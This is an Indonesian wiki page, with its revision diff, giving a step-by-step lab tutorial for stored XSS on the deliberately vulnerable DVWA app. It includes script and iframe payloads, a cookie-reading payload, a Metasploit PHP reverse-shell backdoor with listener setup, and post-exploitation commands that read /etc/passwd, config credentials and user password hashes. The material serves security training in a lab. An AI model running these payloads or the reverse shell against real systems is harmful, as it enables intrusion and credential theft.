Difference between revisions of "DVWA: XSS"

From OnnoWiki
Jump to navigation Jump to search
 
(8 intermediate revisions by the same user not shown)
Line 111: Line 111:
 
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
 
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
 
* Klik > XSS (Stored)
 
* Klik > XSS (Stored)
Name: Test 4
+
* Name > "Test 4"
Message:
+
* Message > "<script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>"
  
    <script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>
+
Ubah 192.168.0.100 dengan IP DVWA anda.
        Replace 192.168.1.106 with the IP Address obtain from Fedora 14 in (Section 3, Step 3).
 
  
Click Sign Guestbook
+
* Klik > Sign Guestbook
Click OK when the Test 1 Message is displayed
+
* Klik OK saat Test 1 Message di tampilkan.
  
shell
+
Beberapa perintah yang menarik
  
     Establishes a "sh" shell.
+
shell
 +
     membuka shell "sh"
  
tail /etc/passwd
+
tail /etc/passwd
 +
    melihat username yang ada di mesin sasaran untuk ssh brute force attack.
  
     This produces a potential prospect list for a ssh brute force attack
+
whoami
 +
     display nama user.
  
    whoami
+
grep apache /etc/passwd
        Displays the name of the user.
+
    memperoleh home directory dari username apache.
    grep apache /etc/passwd
 
        The goal of this command is obtaining the home directory for the apache username.
 
    find /var/www/* -print | grep config
 
        Here I am wanting to find all the configuration files in the /var/www directory.
 
  
 +
find /var/www/* -print | grep config
 +
    mencari semua file konfigurasi di directory /var/www
  
 +
grep "db_" /var/www/html/dvwa/config/config.inc.php
 +
    melihat informasi nama database, username, dan password untuk akses ke database mysql.
  
    grep "db_" /var/www/html/dvwa/config/config.inc.php
+
echo "use dvwa; show tables;" | mysql -uroot -p123456
        This produces the database name, username, and password information to log into the mysql database.
+
    melihat daftar tabel dari dvwa database
    echo "use dvwa; show tables;" | mysql -uroot -p123456
 
        This command produces a table list of the dvwa database.
 
    echo "use dvwa; desc users;" | mysql -uroot -p123456
 
        This command describes the columns of the users table in the dvwa datase.
 
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456
 
        This command displays the user and password information for each user in the dvwa.users table.
 
  
 +
echo "use dvwa; desc users;" | mysql -uroot -p123456
 +
    melihat kolom yang ada di tabel users di database dvwa.
  
    echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
+
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
        Place the html <pre> tag in the xss.html file.
+
    melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users
        The <pre> is used as a pre-formatter.
 
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
 
        Place user and password for the dvwa.users table in the xss.html file.
 
    echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 
        Place the close html </pre> tag in the xss.html file.
 
    echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 
        Replace the string "Your Name" with your actual name.
 
    date >> /var/www/html/dvwa/hackable/uploads/xss.html
 
  
 +
===Bukti===
  
 +
echo "< pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan html < pre > tag di file xss.html
 +
    < pre > digunakan untuk pre-formatter.
  
 +
echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan user dan password untuk tabel dvwa.users di file the xss.html
  
     On BackTrack, place the below URI in Firefox
+
echo "< /pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
        http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
+
     letakan < /pre > tag di file xss.html
            Replace the above IP address with the IP Address obtained in (Section 3, Step 3).
+
 
 +
echo "< br >Your Name< br >" >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan string "Your Name" dengan naman anda sebenarnya
 +
 
 +
date >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
 
 +
Pastikan < pre > , < /pre >, < br >, < /br > dibuang spasinya.
 +
 
 +
===Di Kali Linux===
 +
 
 +
Web dengan alamat
 +
 
 +
http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
 +
 
 +
IP 192.168.0.100 di ganti dengan IP DVWA server
  
 
==Referensi==
 
==Referensi==
  
 
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html
 
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Latest revision as of 06:24, 29 May 2017

sumber: http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Tujuan

  • Test a basic cross site scripting (XSS) attack
  • Test an iframe cross site scripting (XSS) attack
  • Test a cookie cross site scripting (XSS) attack
  • Create a php/meterpreter/reverse_tcp payload
  • Start the php/meterpreter/reverse_tcp listener
  • Upload the PHP payload to the DVWA Upload screen
  • Test a PHP Payload cross site scripting (XSS) attack


Di sisi DVWA

Cek IP

ifconfig


Fix Stored Cross Site Scripting (XSS) Comment Box

Edit index.php

cd /var/www/html/DVWA-1.9/vulnerabilities/xss_s/
vi index.php

Search dengan keyword mtxMessage Ubah maxlength=50

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea>

menjadi maxlength=250

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"250\"></textarea>

Di sisi Kali Linux

Cek IP Kali Linux

ifconfig -a

Enable Javascript di Browser

Buka Firefox
Preferences > Content > Uncheck - Block pop-up windows

Masuk ke DVWA

  • Login
  • DVWA Security > Low

XSS Stored Basic Exploit Test

  • Klik > XSS (Stored)
  • Name > "Test 1"
  • Message > "<script>alert("This is a XSS Exploit Test")</script>"
  • Klik > Sign Guestbook

XSS Stored IFRAME Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 2"
  • Message > "<iframe src="http://www.cnn.com"></iframe>"
  • Klik > Sign Guestbook

Tampak bahwa CNN muncul di bawah "Test 2" . Teknik ini menjadi exploit yang sangat powerful yang dapat digunakan dalam Social Engineering Toolkit (SET) untuk cloning web.

XSS Stored COOKIE Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 3"
  • Message > "<script>alert(document.cookie)</script>"
  • Klik > Sign Guestbook

Akibatnya cookie/session yang digunakan untuk hubungan komunikasi dengan webserver dapat diambil. Attacker dapat memodifikasi XSS script ini untuk mengirimkan cookie ke lokasi remote, bukan menampilkannya. Bayangkan jika ini sebuah situs bank online, setiap kali user login & informasi cookie dikirim ke lokasi remote untuk di manfaatkan.

Build PHP msfpayload

Membuat PHP backdoor

mkdir -p /root/backdoor
cd /root/backdoor
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
ls -l FORUM_BUG.php

Pilih "Upload" di menu navigasi di bagian kiri DVWA.

Start msfconsole

Jalankan

msfconsole

Exploit

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit

XSS Stored window.location Exploit Test

Ubah 192.168.0.100 dengan IP DVWA anda.

  • Klik > Sign Guestbook
  • Klik OK saat Test 1 Message di tampilkan.

Beberapa perintah yang menarik

shell
   membuka shell "sh"
tail /etc/passwd
   melihat username yang ada di mesin sasaran untuk ssh brute force attack.
whoami
   display nama user.
grep apache /etc/passwd
   memperoleh home directory dari username apache.
find /var/www/* -print | grep config
   mencari semua file konfigurasi di directory /var/www
grep "db_" /var/www/html/dvwa/config/config.inc.php
   melihat informasi nama database, username, dan password untuk akses ke database mysql.
echo "use dvwa; show tables;" | mysql -uroot -p123456
   melihat daftar tabel dari dvwa database
echo "use dvwa; desc users;" | mysql -uroot -p123456
   melihat kolom yang ada di tabel users di database dvwa.
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
   melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users

Bukti

echo "< pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan html < pre > tag di file xss.html
   < pre > digunakan untuk pre-formatter.
echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan user dan password untuk tabel dvwa.users di file the xss.html
echo "< /pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan < /pre > tag di file xss.html
echo "< br >Your Name< br >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan string "Your Name" dengan naman anda sebenarnya
date >> /var/www/html/dvwa/hackable/uploads/xss.html

Pastikan < pre > , < /pre >, < br >, < /br > dibuang spasinya.

Di Kali Linux

Web dengan alamat

http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html

IP 192.168.0.100 di ganti dengan IP DVWA server

Referensi